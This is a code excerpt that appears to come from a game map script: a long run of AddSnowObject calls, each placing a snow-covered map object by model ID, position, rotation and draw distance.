AddSnowObject(6236, 727.085, -1780.989, -8.664, 0.000, 0.000, 0.000, 142.9);
AddSnowObject(6280, 260.023, -1839.910, -1.453, 0.000, 0.000, 0.000, 234.8);
AddSnowObject(6290, 530.765, -1156.270, 8.195, 0.000, 0.000, -34.606, 215.6);
AddSnowObject(6292, 137.727, -1026.689, 24.593, 0.000, 0.000, 0.000, 189.4);
AddSnowObject(6301, 717.484, -1362.770, 12.515, 0.000, 0.000, 0.000, 187.9);
AddSnowObject(6315, 205.460, -1656.819, 8.968, 0.000, 0.000, 0.000, 211.4);
AddSnowObject(6324, 632.578, -1443.089, 13.687, 0.000, 0.000, 0.000, 234.6);
AddSnowObject(6488, 723.093, -1144.199, 24.500, 0.000, 0.000, 0.000, 206.9);
AddSnowObject(6501, 324.734, -1063.420, 17.851, 0.000, 0.000, 167.225, 214.6);
AddSnowObject(6502, 705.421, -1276.550, 0.359, 0.000, 0.000, 139.632, 189.0);
AddSnowObject(6507, 696.898, -1138.500, 18.195, 0.000, 0.000, -168.226, 221.3);
AddSnowObject(6404, 415.687, -1745.530, 14.132, 0.000, 0.000, 0.000, 141.6);
AddSnowObject(6297, 432.812, -1856.290, 1.226, 0.000, 0.000, 0.000, 211.7);
AddSnowObject(6281, 570.742, -1868.339, 1.679, 0.000, 0.000, 0.000, 217.3);
AddSnowObject(6406, 607.695, -1768.849, 15.234, 0.000, 0.000, 0.000, 146.5);
AddSnowObject(6282, 514.695, -1755.099, 19.195, 0.000, 0.000, 0.000, 167.1);
AddSnowObject(6310, 437.898, -1715.099, 8.593, 0.000, 0.000, 0.000, 177.2);
AddSnowObject(6313, 437.195, -1679.449, 19.226, 0.000, 0.000, 0.000, 164.9);
AddSnowObject(6309, 576.640, -1730.420, 11.882, 0.000, 0.000, 0.000, 172.3);
AddSnowObject(6398, 552.531, -1695.579, 15.546, 0.000, 0.000, 0.000, 169.6);
AddSnowObject(6399, 552.429, -1693.410, 17.726, 0.000, 0.000, 0.000, 130.6);
AddSnowObject(6306, 428.054, -1654.949, 24.921, 0.000, 0.000, 0.000, 188.5);
AddSnowObject(6307, 491.468, -1630.750, 20.078, 0.000, 0.000, 0.000, 168.3);
AddSnowObject(6388, 487.500, -1629.270, 39.234, 0.000, 0.000, 0.000, 148.4);
AddSnowObject(6308, 565.812, -1671.280, 16.367, 0.000, 0.000, 0.000, 156.0);
AddSnowObject(6291, 631.664, -1647.449, 14.382, 0.000, 0.000, 0.000, 177.3);
AddSnowObject(6389, 586.195, -1634.670, 31.210, 0.000, 0.000, 0.000, 149.2);
AddSnowObject(6416, 95.648, -1593.150, -19.210, 0.000, 0.000, 0.000, 201.5);
AddSnowObject(6312, 202.710, -1580.119, 22.476, 0.000, 0.000, 0.000, 161.4);
AddSnowObject(6321, 270.695, -1576.199, 31.898, 0.000, 0.000, -14.334, 144.6);
AddSnowObject(6333, 422.000, -1583.099, 23.695, 0.000, 0.000, 0.000, 182.3);
AddSnowObject(6325, 128.125, -1551.030, 8.203, 0.000, 0.000, -7.775, 168.2);
AddSnowObject(6326, 207.593, -1484.510, 11.906, 0.000, 0.000, -152.942, 196.3);
AddSnowObject(6347, 238.179, -1509.849, 22.117, 0.000, 0.000, 0.000, 162.3);
AddSnowObject(6345, 236.546, -1498.310, 21.750, 0.000, 0.000, -22.162, 159.5);
AddSnowObject(6320, 297.500, -1490.300, 32.093, 0.000, 0.000, 31.971, 205.6);
AddSnowObject(6387, 299.195, -1513.459, 27.125, 0.000, 0.000, -35.000, 136.9);
AddSnowObject(6342, 322.421, -1514.989, 55.289, 0.000, 0.000, 0.000, 168.2);
AddSnowObject(6341, 332.890, -1500.060, 29.875, 0.000, 0.000, 0.000, 209.3);
AddSnowObject(6303, 359.210, -1523.770, 31.593, 0.000, 0.000, 38.408, 179.0);
AddSnowObject(6386, 356.195, -1514.660, 33.781, 0.000, 0.000, 0.000, 139.0);
AddSnowObject(6344, 392.210, -1531.650, 30.593, 0.000, 0.000, 0.000, 152.7);
AddSnowObject(6343, 389.484, -1528.790, 28.507, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(6497, 227.789, -1423.030, 18.609, 0.000, 0.000, 0.000, 158.3);
AddSnowObject(6373, 280.203, -1450.160, 26.906, 0.000, 0.000, 0.000, 154.8);
AddSnowObject(6328, 294.976, -1366.739, 18.929, 0.000, 0.000, 0.000, 148.2);
AddSnowObject(6368, 335.101, -1423.609, 39.875, 0.000, 0.000, 0.000, 151.6);
AddSnowObject(6338, 383.203, -1395.199, 27.234, 0.000, 0.000, 0.000, 140.0);
AddSnowObject(6369, 343.125, -1340.380, 28.789, 0.000, 0.000, 0.000, 153.9);
AddSnowObject(6327, 377.289, -1362.660, 13.585, 0.000, 0.000, 30.090, 204.9);
AddSnowObject(6356, 381.281, -1323.170, 24.492, 0.000, 0.000, 0.000, 133.5);
AddSnowObject(6323, 416.468, -1446.089, 30.796, 0.000, 0.000, 36.048, 149.4);
AddSnowObject(6355, 421.429, -1307.989, 24.265, 0.000, 0.000, 0.000, 142.1);
AddSnowObject(6304, 444.000, -1521.410, 27.195, 0.000, 0.000, 0.000, 155.3);
AddSnowObject(6334, 472.437, -1509.449, 30.125, 0.000, 0.000, 0.000, 167.8);
AddSnowObject(6332, 504.390, -1504.839, 29.000, 0.000, 0.000, 0.000, 154.5);
AddSnowObject(6351, 460.273, -1401.969, 30.171, 0.000, 0.000, 0.000, 171.2);
AddSnowObject(6331, 473.820, -1437.410, 21.695, 0.000, 0.000, 0.000, 157.2);
AddSnowObject(6322, 496.273, -1500.140, 16.664, 0.000, 0.000, 0.000, 173.1);
AddSnowObject(6330, 525.210, -1443.219, 14.476, 0.000, 0.000, 0.000, 217.1);
AddSnowObject(6329, 557.539, -1577.910, 15.031, 0.000, 0.000, 0.000, 165.0);
AddSnowObject(6340, 588.179, -1530.469, 25.593, 0.000, 0.000, 0.000, 153.4);
AddSnowObject(6370, 570.203, -1530.410, 23.664, 0.000, 0.000, 0.000, 143.7);
AddSnowObject(6371, 585.281, -1456.719, 45.898, 0.000, 0.000, 0.000, 162.3);
AddSnowObject(6302, 576.140, -1406.260, 13.765, 0.000, 0.000, 0.000, 146.5);
AddSnowObject(6319, 444.218, -1376.520, 24.671, 0.000, 0.000, 28.306, 159.5);
AddSnowObject(6366, 444.640, -1349.349, 24.867, 0.000, 0.000, 0.000, 160.5);
AddSnowObject(6354, 468.765, -1276.670, 22.570, 0.000, 0.000, 0.000, 139.0);
AddSnowObject(6357, 505.054, -1269.939, 28.687, 0.000, 0.000, 0.000, 166.0);
AddSnowObject(6336, 570.062, -1363.060, 31.992, 0.000, 0.000, 0.000, 164.2);
AddSnowObject(6318, 572.953, -1328.729, 13.070, 0.000, 0.000, 14.268, 154.7);
AddSnowObject(6337, 536.132, -1291.680, 23.468, 0.000, 0.000, 0.000, 157.2);
AddSnowObject(6509, 529.007, -1268.359, 15.515, 0.000, 0.000, 39.000, 194.2);
AddSnowObject(6413, 589.382, -1270.180, 16.976, 0.000, 0.000, 0.000, 149.9);
AddSnowObject(6364, 590.710, -1273.000, 37.843, 0.000, 0.000, 0.000, 156.1);
AddSnowObject(6508, 624.703, -1252.119, 14.875, 0.000, 0.000, 0.000, 162.1);
AddSnowObject(6490, 717.484, -1357.300, 20.296, 0.000, 0.000, 0.000, 176.2);
AddSnowObject(6522, 702.867, -1276.030, 20.906, 0.000, 0.000, -0.000, 144.2);
AddSnowObject(6487, 713.562, -1236.219, 17.820, 0.000, 0.000, 0.000, 204.7);
AddSnowObject(6489, 715.406, -1236.219, 19.164, 0.000, 0.000, 0.000, 203.3);
AddSnowObject(6417, 156.539, -1908.780, -13.687, 0.000, 0.000, 0.000, 180.8);
AddSnowObject(6466, 374.695, -2054.879, 8.703, 0.000, 0.000, 0.000, 149.3);
AddSnowObject(6283, 379.062, -2065.020, 11.796, 0.000, 0.000, 0.000, 130.7);
AddSnowObject(6300, 379.539, -2050.870, -1.218, 0.000, 0.000, 0.000, 151.7);
AddSnowObject(6458, 379.578, -1946.300, 10.281, 0.000, 0.000, 0.000, 169.3);
AddSnowObject(6450, 379.726, -1945.949, -1.218, 0.000, 0.000, 0.000, 170.4);
AddSnowObject(6457, 385.085, -1823.650, 10.281, 0.000, 0.000, 0.000, 161.6);
AddSnowObject(6288, 397.539, -1848.489, 12.148, 0.000, 0.000, 0.000, 144.7);
AddSnowObject(6449, 387.765, -1823.630, 12.507, 0.000, 0.000, 0.000, 163.8);
AddSnowObject(6293, 125.694, -1768.550, -10.593, 0.000, 0.000, 0.000, 183.1);
AddSnowObject(6428, 245.195, -1736.699, 3.632, 0.000, 0.000, 0.000, 195.4);
AddSnowObject(6427, 293.218, -1691.219, 7.843, 0.000, 0.000, 0.000, 179.9);
AddSnowObject(6314, 127.648, -1659.699, 7.421, 0.000, 0.000, 0.000, 188.9);
AddSnowObject(6443, 301.937, -1657.810, 19.648, 0.000, 0.000, 0.000, 186.6);
AddSnowObject(6316, 199.406, -1626.729, 12.375, 0.000, 0.000, 133.035, 158.0);
AddSnowObject(6317, 270.296, -1613.599, 32.195, 0.000, 0.000, 0.000, 157.1);
AddSnowObject(6391, 280.296, -1606.199, 72.398, 0.000, 0.000, 0.000, 158.4);
AddSnowObject(6448, 335.304, -1711.910, 25.625, 0.000, 0.000, 0.000, 174.9);
AddSnowObject(6311, 400.695, -1755.699, 6.500, 0.000, 0.000, 0.000, 173.1);
AddSnowObject(6305, 328.570, -1612.579, 31.937, 0.000, 0.000, 0.000, 145.0);
AddSnowObject(6390, 388.640, -1624.359, 36.835, 0.000, 0.000, 0.000, 152.4);
AddSnowObject(5707, 1269.400, -1256.959, 14.523, 0.000, 0.000, 0.000, 171.8);
AddSnowObject(5744, 1268.449, -935.320, 37.703, 0.000, 0.000, 0.000, 192.8);
AddSnowObject(5745, 1262.949, -1037.650, 32.070, 0.000, 0.000, 0.000, 194.3);
AddSnowObject(5746, 1163.170, -1046.430, 32.296, 0.000, 0.000, 0.000, 185.9);
AddSnowObject(5747, 1084.469, -1048.880, 32.070, 0.000, 0.000, 0.000, 183.3);
AddSnowObject(5748, 1133.010, -1145.969, 22.773, 0.000, 0.000, 0.000, 162.2);
AddSnowObject(5749, 1144.410, -1251.479, 15.109, 0.000, 0.000, 0.000, 182.0);
AddSnowObject(5752, 989.117, -966.101, 39.507, 0.000, 0.000, 0.000, 184.8);
AddSnowObject(5753, 850.828, -1013.780, 30.257, 0.000, 0.000, 0.000, 183.3);
AddSnowObject(5754, 962.601, -1056.300, 30.375, 0.000, 0.000, 0.000, 175.7);
AddSnowObject(5756, 797.914, -1234.449, 17.718, 0.000, 0.000, 0.000, 176.6);
AddSnowObject(5757, 943.437, -1220.530, 17.617, 0.000, 0.000, 0.000, 190.6);
AddSnowObject(5758, 1012.590, -1145.089, 22.757, 0.000, 0.000, 0.000, 161.8);
AddSnowObject(5759, 1058.119, -1234.770, 17.601, 0.000, 0.000, 0.000, 177.2);
AddSnowObject(5767, 1160.959, -1180.579, 70.414, 0.000, 0.000, 0.000, 170.6);
AddSnowObject(5776, 1024.469, -1001.039, 46.835, 0.000, 0.000, 0.000, 138.3);
AddSnowObject(5795, 985.726, -1324.800, 12.453, 0.000, 0.000, 0.000, 160.6);
AddSnowObject(5796, 859.890, -1323.790, 12.375, 0.000, 0.000, 0.000, 173.9);
AddSnowObject(5801, 1266.130, -1037.729, 28.406, 0.000, 0.000, 0.000, 178.7);
AddSnowObject(5802, 1124.569, -950.242, 41.757, 0.000, 0.000, 0.000, 162.5);
AddSnowObject(5805, 869.921, -1144.729, 22.757, 0.000, 0.000, 0.000, 164.2);
AddSnowObject(5807, 1041.989, -1039.300, 30.195, 0.000, 0.000, 0.000, 170.1);
AddSnowObject(5859, 1350.150, -1353.369, 12.476, 0.000, 0.000, 0.000, 164.9);
AddSnowObject(5860, 1058.150, -1363.270, 12.617, 0.000, 0.000, 0.000, 155.3);
AddSnowObject(5861, 979.945, -1400.489, 12.367, 0.000, 0.000, 0.000, 182.6);
AddSnowObject(5862, 847.351, -1400.479, 12.460, 0.000, 0.000, 0.000, 162.2);
AddSnowObject(5866, 916.578, -952.710, 43.070, 0.000, 0.000, 0.000, 181.6);
AddSnowObject(5871, 879.570, -1092.880, 26.156, 0.000, 0.000, 0.000, 182.6);
AddSnowObject(5882, 1316.579, -984.789, 86.890, 0.000, 0.000, 0.000, 173.1);
AddSnowObject(5994, 1259.229, -1400.410, 10.781, 0.000, 0.000, 0.000, 175.0);
AddSnowObject(5995, 1130.050, -1400.699, 12.523, 0.000, 0.000, 0.000, 158.7);
AddSnowObject(739, 1231.140, -1341.849, 12.734, 0.000, 0.000, 0.000, 131.1);
AddSnowObject(739, 1231.140, -1328.089, 12.734, 0.000, 0.000, 0.000, 131.1);
AddSnowObject(739, 1231.140, -1356.209, 12.734, 0.000, 0.000, 0.000, 131.1);
AddSnowObject(739, 1307.300, -1089.930, 21.984, 0.000, 0.000, 0.000, 131.1);
AddSnowObject(5772, 814.687, -1364.109, 4.484, 0.000, 0.000, 46.829, 155.8);
AddSnowObject(5773, 837.414, -1361.219, 10.031, 0.000, 0.000, 0.000, 142.1);
AddSnowObject(5815, 877.164, -1361.199, 12.453, 0.000, 0.000, 0.000, 138.5);
AddSnowObject(5705, 830.867, -1269.130, 20.859, 0.000, 0.000, 0.000, 186.9);
AddSnowObject(5835, 834.937, -1249.939, 19.875, 0.000, 0.000, 0.000, 133.2);
AddSnowObject(5864, 849.914, -1196.689, 19.406, 0.000, 0.000, 0.000, 158.3);
AddSnowObject(5865, 892.796, -1268.619, 19.726, 0.000, 0.000, 0.000, 159.5);
AddSnowObject(5863, 912.882, -1194.329, 20.734, 0.000, 0.000, 0.000, 151.6);
AddSnowObject(5813, 958.820, -1359.869, 17.968, 0.000, 0.000, 89.999, 142.8);
AddSnowObject(5732, 1014.020, -1361.459, 20.351, 0.000, 0.000, 0.000, 142.9);
AddSnowObject(5818, 954.687, -1305.770, 30.140, 0.000, 0.000, 1.263, 221.4);
AddSnowObject(5784, 988.273, -1289.630, 15.375, 0.000, 0.000, -179.999, 141.5);
AddSnowObject(5760, 1016.929, -1249.930, 18.500, 0.000, 0.000, -89.999, 150.2);
AddSnowObject(5703, 998.156, -1220.819, 15.835, 0.000, 0.000, 0.000, 147.1);
AddSnowObject(5790, 1058.380, -1254.439, 21.445, 0.000, 0.000, 0.000, 138.6);
AddSnowObject(5733, 1077.089, -1226.650, 19.023, 0.000, 0.000, 0.000, 144.9);
AddSnowObject(5755, 796.460, -1111.130, 23.187, 0.000, 0.000, 0.000, 155.9);
AddSnowObject(5713, 863.492, -1107.800, 28.757, 0.000, 0.000, 0.000, 130.0);
AddSnowObject(5715, 905.148, -1092.829, 32.789, 0.000, 0.000, 0.000, 133.7);
AddSnowObject(5870, 840.703, -1042.020, 34.671, 0.000, 0.000, 0.000, 148.3);
AddSnowObject(5765, 819.578, -986.023, 35.937, 0.000, 0.000, 116.423, 151.7);
AddSnowObject(5718, 901.234, -967.476, 47.656, 0.000, 0.000, 9.999, 143.5);
AddSnowObject(5999, 915.179, -1019.179, 66.320, 0.000, 0.000, 0.000, 168.6);
AddSnowObject(5987, 913.718, -918.585, 49.343, 0.000, 0.000, 0.000, 171.7);
AddSnowObject(5986, 928.750, -918.859, 59.632, 0.000, 0.000, 3.829, 142.4);
AddSnowObject(5763, 997.695, -1177.810, 15.867, 0.000, 0.000, 0.000, 147.3);
AddSnowObject(5768, 1093.140, -1170.410, 42.445, 0.000, 0.000, 0.000, 133.3);
AddSnowObject(5722, 982.367, -1090.920, 28.921, 0.000, 0.000, 0.000, 141.8);
AddSnowObject(5874, 1022.380, -1060.060, 36.671, 0.000, 0.000, 0.000, 133.3);
AddSnowObject(5875, 1022.640, -1080.329, 27.257, 0.000, 0.000, 0.000, 159.0);
AddSnowObject(5716, 1027.270, -1113.010, 36.164, 0.000, 0.000, 0.000, 135.5);
AddSnowObject(5723, 1062.890, -1091.979, 29.140, 0.000, 0.000, 0.000, 140.8);
AddSnowObject(5886, 1005.250, -1011.210, 36.375, 0.000, 0.000, -89.999, 139.0);
AddSnowObject(5853, 1018.159, -908.976, 43.648, 0.000, 0.000, 7.719, 160.6);
AddSnowObject(5775, 1024.439, -990.492, 44.968, 0.000, 0.000, 0.000, 156.8);
AddSnowObject(5810, 1114.310, -1348.099, 17.984, 0.000, 0.000, 0.000, 158.6);
AddSnowObject(5708, 1134.250, -1338.079, 23.156, 0.000, 0.000, 0.000, 152.4);
AddSnowObject(5794, 1200.910, -1337.989, 12.398, 0.000, 0.000, 0.000, 149.5);
AddSnowObject(5812, 1230.890, -1337.979, 12.539, 0.000, 0.000, 0.000, 149.4);
AddSnowObject(5771, 1111.910, -1241.689, 18.632, 0.000, 0.000, 0.000, 142.2);
AddSnowObject(5855, 1095.680, -1212.780, 18.289, 0.000, 0.000, 0.000, 135.6);
AddSnowObject(5823, 1140.180, -1207.260, 18.820, 0.000, 0.000, 0.000, 181.5);
AddSnowObject(6006, 1183.699, -1241.359, 16.273, 0.000, 0.000, 0.000, 137.3);
AddSnowObject(5728, 1236.770, -1209.270, 24.195, 0.000, 0.000, 0.000, 136.8);
AddSnowObject(5804, 1213.770, -1177.089, 19.750, 0.000, 0.000, 0.000, 150.8);
AddSnowObject(5808, 1255.239, -1337.959, 12.328, 0.000, 0.000, 0.000, 149.1);
AddSnowObject(5809, 1281.439, -1337.949, 12.375, 0.000, 0.000, 0.000, 148.4);
AddSnowObject(5704, 1309.910, -1330.130, 25.187, 0.000, 0.000, 0.000, 154.2);
AddSnowObject(5857, 1259.439, -1246.810, 17.109, 0.000, 0.000, 0.000, 141.3);
AddSnowObject(5740, 1278.469, -1189.510, 11.898, 0.000, 0.000, 0.000, 160.3);
AddSnowObject(5739, 1288.050, -1203.770, 17.687, 0.000, 0.000, 0.000, 172.5);
AddSnowObject(5709, 1301.189, -1257.060, 21.507, 0.000, 0.000, 0.000, 130.3);
AddSnowObject(5725, 1287.650, -1163.369, 31.968, 0.000, 0.000, 0.000, 132.5);
AddSnowObject(5751, 1283.729, -1145.089, 22.617, 0.000, 0.000, 0.000, 151.0);
AddSnowObject(5750, 1350.160, -1250.839, 14.132, 0.000, 0.000, 0.000, 143.8);
AddSnowObject(5799, 1350.160, -1170.819, 19.460, 0.000, 0.000, 0.000, 144.0);
AddSnowObject(5769, 1122.339, -1121.209, 28.734, 0.000, 0.000, 0.000, 133.7);
AddSnowObject(5877, 1122.599, -1091.520, 27.734, 0.000, 0.000, 0.000, 143.2);
AddSnowObject(5878, 1122.660, -1080.449, 26.734, 0.000, 0.000, 0.000, 143.3);
AddSnowObject(5891, 1123.150, -1020.750, 37.304, 0.000, 0.000, 0.000, 131.8);
AddSnowObject(5806, 1149.630, -1039.239, 30.945, 0.000, 0.000, 0.000, 141.0);
AddSnowObject(5888, 1202.670, -1098.020, 27.523, 0.000, 0.000, 0.000, 150.7);
AddSnowObject(5887, 1212.770, -1090.079, 26.375, 0.000, 0.000, 0.000, 157.6);
AddSnowObject(5892, 1123.050, -988.195, 45.226, 0.000, 0.000, 0.000, 141.2);
AddSnowObject(5893, 1123.300, -982.695, 39.234, 0.000, 0.000, 0.000, 134.6);
AddSnowObject(5896, 1103.520, -896.929, 63.898, 0.000, 0.000, 0.000, 170.5);
AddSnowObject(5717, 1212.910, -988.734, 42.757, 0.000, 0.000, 0.000, 158.7);
AddSnowObject(5741, 1196.839, -914.867, 41.968, 0.000, 0.000, 9.499, 143.6);
AddSnowObject(5742, 1197.319, -899.210, 45.093, 0.000, 0.000, 9.499, 141.4);
AddSnowObject(6007, 1308.239, -1088.839, 26.750, 0.000, 0.000, 0.000, 155.5);
AddSnowObject(5800, 1355.729, -1089.839, 24.335, 0.000, 0.000, 0.000, 149.2);
AddSnowObject(5793, 1365.479, -998.265, 30.328, 0.000, 0.000, 0.000, 153.4);
AddSnowObject(5881, 1310.020, -985.437, 41.906, 0.000, 0.000, 0.000, 160.2);
AddSnowObject(5885, 1308.170, -985.351, 35.085, 0.000, 0.000, 0.000, 155.8);
AddSnowObject(5803, 1376.430, -912.187, 36.179, 0.000, 0.000, 0.000, 152.1);
AddSnowObject(5743, 1265.300, -889.953, 40.460, 0.000, 0.000, 0.000, 152.6);
AddSnowObject(5845, 1323.660, -884.632, 36.250, 0.000, 0.000, 0.000, 139.3);
AddSnowObject(6042, 952.343, -1822.819, 15.179, 0.000, 0.000, 0.000, 158.7);
AddSnowObject(6203, 956.195, -1689.599, 12.796, 0.000, 0.000, 0.000, 200.2);
AddSnowObject(6205, 954.273, -1720.800, 20.773, 0.000, 0.000, 0.000, 134.7);
AddSnowObject(6049, 1009.340, -1891.790, 11.929, 0.000, 0.000, 0.000, 139.5);
AddSnowObject(6118, 1050.079, -1864.310, 12.398, 0.000, 0.000, 0.000, 172.0);
AddSnowObject(6116, 997.562, -1798.520, 12.953, 0.000, 0.000, 0.000, 154.2);
AddSnowObject(6037, 1003.419, -1737.500, 17.843, 0.000, 0.000, 0.000, 142.9);
AddSnowObject(6038, 1003.270, -1666.160, 20.710, 0.000, 0.000, 0.000, 158.5);
AddSnowObject(6115, 1087.459, -1712.270, 12.460, 0.000, 0.000, 0.000, 141.2);
AddSnowObject(6117, 1109.319, -1852.380, 12.562, 0.000, 0.000, 0.000, 139.4);
AddSnowObject(6248, 1209.500, -1796.260, -2.273, 0.000, 0.000, 0.000, 167.2);
AddSnowObject(6128, 1207.459, -1712.199, 12.664, 0.000, 0.000, 0.000, 180.6);
AddSnowObject(6063, 1087.979, -1682.329, 19.437, 0.000, 0.000, 0.000, 151.5);
AddSnowObject(6249, 1128.040, -1701.900, -4.296, 0.000, 0.000, -49.090, 163.5);
AddSnowObject(6150, 1170.079, -1668.560, 18.921, 0.000, 0.000, 0.000, 136.5);
AddSnowObject(6102, 1226.949, -1656.160, 24.773, 0.000, 0.000, 0.000, 181.2);
AddSnowObject(6126, 1149.900, -1642.150, 12.609, 0.000, 0.000, 0.000, 160.8);
AddSnowObject(6157, 941.414, -1530.619, 23.171, 0.000, 0.000, 0.000, 134.1);
AddSnowObject(6047, 952.710, -1599.540, 20.710, 0.000, 0.000, 0.000, 133.1);
AddSnowObject(6036, 1003.890, -1598.040, 17.843, 0.000, 0.000, 0.000, 130.0);
AddSnowObject(6159, 989.671, -1553.660, 19.898, 0.000, 0.000, 0.000, 133.0);
AddSnowObject(6160, 982.617, -1530.829, 12.835, 0.000, 0.000, 0.000, 163.5);
AddSnowObject(6250, 1043.910, -1605.540, -3.460, 0.000, 0.000, 131.179, 164.7);
AddSnowObject(6060, 1093.880, -1630.020, 20.328, 0.000, 0.000, 0.000, 163.3);
AddSnowObject(6061, 1093.640, -1619.160, 15.359, 0.000, 0.000, 0.000, 148.5);
AddSnowObject(6114, 1044.790, -1572.270, 12.523, 0.000, 0.000, 0.000, 179.5);
AddSnowObject(6103, 1223.719, -1616.319, 19.117, 0.000, 0.000, 0.000, 173.4);
AddSnowObject(6046, 1305.469, -1619.739, 13.398, 0.000, 0.000, 0.000, 165.4);
AddSnowObject(6127, 1306.520, -1630.359, 12.468, 0.000, 0.000, 0.000, 193.8);
AddSnowObject(6129, 1205.119, -1572.270, 12.421, 0.000, 0.000, 0.000, 183.8);
AddSnowObject(6100, 1251.790, -1541.280, 36.914, 0.000, 0.000, 0.000, 156.0);
AddSnowObject(6251, 956.625, -1509.890, -2.335, 0.000, 0.000, 132.584, 165.4);
AddSnowObject(6158, 986.820, -1520.069, 17.929, 0.000, 0.000, 0.000, 135.0);
AddSnowObject(6113, 984.296, -1491.410, 12.500, 0.000, 0.000, 0.000, 159.0);
AddSnowObject(6055, 1050.089, -1489.040, 12.539, 0.000, 0.000, 0.000, 176.6);
AddSnowObject(6051, 1110.329, -1489.089, 18.992, 0.000, 0.000, 0.000, 189.3);
AddSnowObject(6125, 1196.040, -1489.069, 12.375, 0.000, 0.000, 0.000, 174.0);
AddSnowObject(6223, 1264.050, -1488.349, 21.101, 0.000, 0.000, 0.000, 163.0);
AddSnowObject(6035, 1329.030, -1479.079, 12.460, 0.000, 0.000, 0.000, 174.0);
AddSnowObject(6148, 941.250, -1447.770, 21.421, 0.000, 0.000, 0.000, 135.5);
AddSnowObject(6104, 1003.150, -1467.699, 16.578, 0.000, 0.000, 0.000, 141.7);
AddSnowObject(6152, 990.085, -1450.089, 12.773, 0.000, 0.000, 0.000, 171.3);
AddSnowObject(6151, 1007.309, -1435.160, 19.117, 0.000, 0.000, 0.000, 148.1);
AddSnowObject(6099, 1219.900, -1449.439, 29.312, 0.000, 0.000, 0.000, 141.5);
AddSnowObject(6101, 1268.239, -1467.839, 11.820, 0.000, 0.000, 0.000, 181.0);
AddSnowObject(6053, 1296.829, -1427.510, 19.296, 0.000, 0.000, 0.000, 140.3);
AddSnowObject(6230, 713.273, -1667.339, -6.804, 0.000, 0.000, 179.999, 143.3);
AddSnowObject(6228, 719.265, -1673.880, 2.984, 0.000, 0.000, 22.499, 155.0);
AddSnowObject(6225, 724.812, -1673.660, 11.625, 0.000, 0.000, 0.000, 176.4);
AddSnowObject(6231, 753.046, -1676.270, 8.140, 0.000, 0.000, 0.000, 180.7);
AddSnowObject(6145, 676.359, -1566.699, 16.335, 0.000, 0.000, 0.000, 130.7);
AddSnowObject(6138, 657.570, -1498.329, 19.328, 0.000, 0.000, 0.000, 144.6);
AddSnowObject(6132, 674.671, -1483.300, 17.750, 0.000, 0.000, 0.000, 174.3);
AddSnowObject(6133, 721.437, -1450.949, 10.195, 0.000, 0.000, -0.000, 145.5);
AddSnowObject(6124, 742.406, -1595.160, 13.523, 0.000, 0.000, 0.000, 196.8);
AddSnowObject(6134, 743.156, -1428.660, 16.726, 0.000, 0.000, 0.000, 131.5);
AddSnowObject(6136, 762.828, -1529.199, 16.187, 0.000, 0.000, 74.999, 145.5);
AddSnowObject(6135, 764.320, -1509.050, 16.828, 0.000, 0.000, 0.000, 171.9);
AddSnowObject(6111, 784.500, -1496.199, 12.398, 0.000, 0.000, 0.000, 183.6);
AddSnowObject(6119, 810.875, -1703.430, 12.460, 0.000, 0.000, 0.000, 157.2);
AddSnowObject(6039, 837.726, -1699.579, 20.710, 0.000, 0.000, 0.000, 134.0);
AddSnowObject(6123, 917.398, -1672.910, 12.398, 0.000, 0.000, 0.000, 191.2);
AddSnowObject(6165, 790.937, -1628.319, 12.625, 0.000, 0.000, 0.000, 142.8);
AddSnowObject(6040, 836.554, -1643.160, 17.843, 0.000, 0.000, 0.000, 134.2);
AddSnowObject(6120, 845.664, -1607.300, 12.460, 0.000, 0.000, 0.000, 162.9);
AddSnowObject(6095, 852.125, -1580.609, 16.531, 0.000, 0.000, 0.000, 142.4);
AddSnowObject(6041, 879.789, -1611.920, 20.710, 0.000, 0.000, 0.000, 142.2);
AddSnowObject(6096, 820.250, -1569.589, 16.078, 0.000, 0.000, 0.000, 142.6);
AddSnowObject(6211, 830.531, -1514.880, 15.820, 0.000, 0.000, 176.684, 134.3);
AddSnowObject(6121, 926.750, -1572.270, 12.515, 0.000, 0.000, 0.000, 142.3);
AddSnowObject(6059, 855.093, -1461.800, 12.796, 0.000, 0.000, 0.000, 158.4);
AddSnowObject(6087, 833.093, -1461.800, 15.796, 0.000, 0.000, -3.315, 134.5);
AddSnowObject(6058, 836.539, -1427.969, 16.257, 0.000, 0.000, 0.000, 131.9);
AddSnowObject(6112, 917.500, -1489.099, 12.296, 0.000, 0.000, 0.000, 173.8);
AddSnowObject(6252, 880.507, -1431.630, -1.687, 0.000, 0.000, -45.120, 144.0);
AddSnowObject(6064, 688.531, -1877.959, 2.015, 0.000, 0.000, 0.000, 203.2);
AddSnowObject(6235, 725.312, -1819.589, 9.335, 0.000, 0.000, 0.000, 144.9);
AddSnowObject(6187, 775.781, -1806.380, 18.234, 0.000, 0.000, 0.000, 144.2);
AddSnowObject(6186, 688.304, -1785.300, 17.437, 0.000, 0.000, 0.000, 159.0);
AddSnowObject(6199, 871.781, -1812.520, 21.007, 0.000, 0.000, 0.000, 136.4);
AddSnowObject(4240, 496.414, -2012.199, -15.546, 0.000, 0.000, 0.000, 241.4);
AddSnowObject(4241, 496.414, -2210.699, -29.257, 0.000, 0.000, 0.000, 240.7);
AddSnowObject(4242, 496.414, -2435.699, -29.257, 0.000, 0.000, 0.000, 260.5);
AddSnowObject(4243, 496.414, -2660.699, -34.007, 0.000, 0.000, 0.000, 240.8);
AddSnowObject(4244, 496.414, -2860.770, -48.507, 0.000, 0.000, 0.000, 256.2);
AddSnowObject(4245, 272.484, -2012.199, -15.476, 0.000, 0.000, 0.000, 259.5);
AddSnowObject(4246, 272.484, -2210.699, -29.257, 0.000, 0.000, 0.000, 258.9);
AddSnowObject(4247, 272.484, -2409.199, -29.257, 0.000, 0.000, 0.000, 258.9);
AddSnowObject(4248, 272.484, -2609.949, -34.007, 0.000, 0.000, 0.000, 260.3);
AddSnowObject(4249, 272.484, -2836.520, -48.507, 0.000, 0.000, 0.000, 290.9);
AddSnowObject(4250, -188.960, 288.257, -44.992, 0.000, 0.000, 0.000, 353.0);
AddSnowObject(4251, 236.688, 299.968, -47.382, 0.000, 0.000, 0.000, 352.5);
AddSnowObject(4252, 657.718, 419.437, -38.835, 0.000, 0.000, 0.000, 357.9);
AddSnowObject(4253, 1566.300, 491.218, -45.593, 0.000, 0.000, 0.000, 268.6);
AddSnowObject(4254, 2860.929, 423.335, -30.015, 0.000, 0.000, 0.000, 280.7);
AddSnowObject(4255, 1014.659, 534.718, -37.359, 0.000, 0.000, 0.000, 261.3);
AddSnowObject(4256, 1285.920, 562.085, -35.507, 0.000, 0.000, 0.000, 248.9);
